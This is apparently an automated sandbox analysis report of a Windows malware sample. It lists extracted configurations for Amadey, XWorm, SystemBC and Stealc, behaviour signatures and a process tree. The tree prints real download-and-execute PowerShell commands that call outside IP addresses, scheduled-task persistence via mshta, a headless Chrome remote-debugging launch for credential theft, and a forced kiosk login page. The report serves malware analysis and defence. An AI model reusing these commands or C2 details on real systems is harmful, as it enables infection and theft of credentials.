Analysis
- max time kernel
127s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20250217-en - resource tags
- submitted
05/03/2025, 22:36
General
- Target 001a85285afa647fe211081b973e009d565f8d11c6826bc563d870e8a1d7f066.exe
- Size 3.0MB
- Sample250305-2jckjs1rx4
- SHA256 001a85285afa647fe211081b973e009d565f8d11c6826bc563d870e8a1d7f066
Malware Config
Extracted
-
ps1
-
exe.dropper
http://176.113.115.7/mine/random.exe
Extracted
-
ps1
-
exe.dropper
http://176.113.115.7/mine/random.exe
Extracted
-
amadey
-
5.21
-
092155
-
http://176.113.115.6
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
Extracted
-
xworm
-
5.0
-
45.154.98.175:6969
-
uGmGtmYAbzOi1F41
-
Install_directory
%AppData%
-
install_file
google_updates.exe
Extracted
-
systembc
-
towerbingobongoboom.com
-
62.60.226.86
-
dns
5.132.191.104
Extracted
-
stealc
-
trump
-
http://45.93.20.28
-
url_path
/85a1cacf11314eb8.php
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Amadey family
- Detect Xworm Payload 2 IoCs
- Detects Healer an antivirus disabler dropper 3 IoCs
- GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
- Gcleaner family
- Healer
Healer an antivirus disabler dropper.
- Healer family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
- Systembc family
- Xmrig family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 17 IoCs
- XMRig Miner payload 15 IoCs
- Blocklisted process makes network request 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 18 IoCs
- Uses browser remote debugging 2 TTPs 1 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Checks BIOS information in registry 2 TTPs 34 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 3 IoCs
- Executes dropped EXE 28 IoCs
- Identifies Wine through registry keys 2 TTPs 17 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 6 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
- Enumerates processes with tasklist 1 TTPs 7 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Drops file in Windows directory 3 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 45 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 2 IoCs
- Kills process with taskkill 5 IoCs
- Modifies registry class 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 45 IoCs
- Suspicious use of SendNotifyMessage 34 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\001a85285afa647fe211081b973e009d565f8d11c6826bc563d870e8a1d7f066.exe"C:\Users\Admin\AppData\Local\Temp\001a85285afa647fe211081b973e009d565f8d11c6826bc563d870e8a1d7f066.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\J4N7D1D1SFJ8ZZ0MYXJD3P3ZAVUIW9.exe"C:\Users\Admin\AppData\Local\Temp\J4N7D1D1SFJ8ZZ0MYXJD3P3ZAVUIW9.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5995.tmp\5996.tmp\5997.bat C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"7⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"8⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5muhcagw\5muhcagw.cmdline"9⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB10.tmp" "c:\Users\Admin\AppData\Local\Temp\5muhcagw\CSCE2143F3F87124EFFBE7090E7EC1FD14.TMP"10⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10106910101\ktxzLhN.exe"C:\Users\Admin\AppData\Local\Temp\10106910101\ktxzLhN.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\dll32.exe"C:\Users\Admin\AppData\Local\Temp\dll32.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp3D4D.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp3D4D.tmp.bat7⤵
-
C:\Windows\system32\chcp.comchcp 650018⤵
-
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 4264"8⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\find.exefind ":"8⤵
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak8⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe"C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --headless --disable-gpu9⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffa2898cc40,0x7ffa2898cc4c,0x7ffa2898cc5810⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1408,i,14568539947306955284,2076734954859821730,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1400 /prefetch:210⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --use-angle=swiftshader-webgl --use-gl=angle --headless --field-trial-handle=1372,i,14568539947306955284,2076734954859821730,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1644 /prefetch:310⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"6⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\10000760100\vertualiziren.exe"C:\Users\Admin\AppData\Roaming\10000760100\vertualiziren.exe"7⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107410101\31107e887f.exe"C:\Users\Admin\AppData\Local\Temp\10107410101\31107e887f.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\10107420101\cnntXtU.exe"C:\Users\Admin\AppData\Local\Temp\10107420101\cnntXtU.exe"5⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\10107440101\3277ecaa2a.exe"C:\Users\Admin\AppData\Local\Temp\10107440101\3277ecaa2a.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn hBpNSma7kUh /tr "mshta C:\Users\Admin\AppData\Local\Temp\kAxSdUV2p.hta" /sc minute /mo 25 /ru "Admin" /f6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn hBpNSma7kUh /tr "mshta C:\Users\Admin\AppData\Local\Temp\kAxSdUV2p.hta" /sc minute /mo 25 /ru "Admin" /f7⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\kAxSdUV2p.hta6⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'MYLRQMYGX7EXEVV78TDKUAFSWC4JLZP2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;7⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\TempMYLRQMYGX7EXEVV78TDKUAFSWC4JLZP2.EXE"C:\Users\Admin\AppData\Local\TempMYLRQMYGX7EXEVV78TDKUAFSWC4JLZP2.EXE"8⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10107450121\am_no.cmd" "5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout /t 26⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "R0yhcmahnHj" /tr "mshta \"C:\Temp\WK6TyvNYU.hta\"" /sc minute /mo 25 /ru "Admin" /f6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\mshta.exemshta "C:\Temp\WK6TyvNYU.hta"6⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;7⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"8⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107460101\09a5b3d3db.exe"C:\Users\Admin\AppData\Local\Temp\10107460101\09a5b3d3db.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"6⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107470101\c03b939485.exe"C:\Users\Admin\AppData\Local\Temp\10107470101\c03b939485.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\10107470101\c03b939485.exe"C:\Users\Admin\AppData\Local\Temp\10107470101\c03b939485.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 8126⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107480101\b945d3c333.exe"C:\Users\Admin\AppData\Local\Temp\10107480101\b945d3c333.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"6⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107490101\339a55ae62.exe"C:\Users\Admin\AppData\Local\Temp\10107490101\339a55ae62.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10107500101\83c5f6f0d5.exe"C:\Users\Admin\AppData\Local\Temp\10107500101\83c5f6f0d5.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\RBCRUM6KVZ7YTYUB9QJUZBNP2C3075.exe"C:\Users\Admin\AppData\Local\Temp\RBCRUM6KVZ7YTYUB9QJUZBNP2C3075.exe"6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107510101\5e644351a1.exe"C:\Users\Admin\AppData\Local\Temp\10107510101\5e644351a1.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10107520101\8c305bd773.exe"C:\Users\Admin\AppData\Local\Temp\10107520101\8c305bd773.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe /T6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe /T6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe /T6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe /T6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe /T6⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking6⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking7⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1968 -parentBuildID 20240401114208 -prefsHandle 1884 -prefMapHandle 1876 -prefsLen 26973 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89434cc4-5c02-4e46-9952-f5b162d41cf7} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" gpu8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2404 -parentBuildID 20240401114208 -prefsHandle 2396 -prefMapHandle 2392 -prefsLen 27893 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcefe755-ed17-4c92-8eba-b3eeafe2e8c9} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" socket8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2992 -childID 1 -isForBrowser -prefsHandle 2984 -prefMapHandle 2980 -prefsLen 22636 -prefMapSize 244628 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f6aee126-02ba-4091-ab76-345d3946e11b} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" tab8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4092 -childID 2 -isForBrowser -prefsHandle 4084 -prefMapHandle 4080 -prefsLen 32383 -prefMapSize 244628 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cf9c54d7-c2d6-4610-affc-978c87b62edd} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" tab8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4224 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4884 -prefMapHandle 4880 -prefsLen 32383 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cebe1feb-5ef3-4020-a479-6a52580b6948} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" utility8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5312 -childID 3 -isForBrowser -prefsHandle 5296 -prefMapHandle 5304 -prefsLen 27035 -prefMapSize 244628 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5accf423-98c0-444c-800e-ed14ca4b0c51} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" tab8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5468 -childID 4 -isForBrowser -prefsHandle 5424 -prefMapHandle 5324 -prefsLen 27035 -prefMapSize 244628 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dc5080e6-9ef4-4303-b2b8-56c721da26ab} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" tab8⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5660 -childID 5 -isForBrowser -prefsHandle 5616 -prefMapHandle 5428 -prefsLen 27035 -prefMapSize 244628 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54817f4f-d0e9-4663-8819-257164c54489} 2256 "\\.\pipe\gecko-crash-server-pipe.2256" tab8⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10107530101\b26b6bfdcd.exe"C:\Users\Admin\AppData\Local\Temp\10107530101\b26b6bfdcd.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\10107540101\cnntXtU.exe"C:\Users\Admin\AppData\Local\Temp\10107540101\cnntXtU.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10107550101\nhDLtPT.exe"C:\Users\Admin\AppData\Local\Temp\10107550101\nhDLtPT.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10107560101\ktxzLhN.exe"C:\Users\Admin\AppData\Local\Temp\10107560101\ktxzLhN.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\dll32.exe"C:\Users\Admin\AppData\Local\Temp\dll32.exe"6⤵
-
-
-
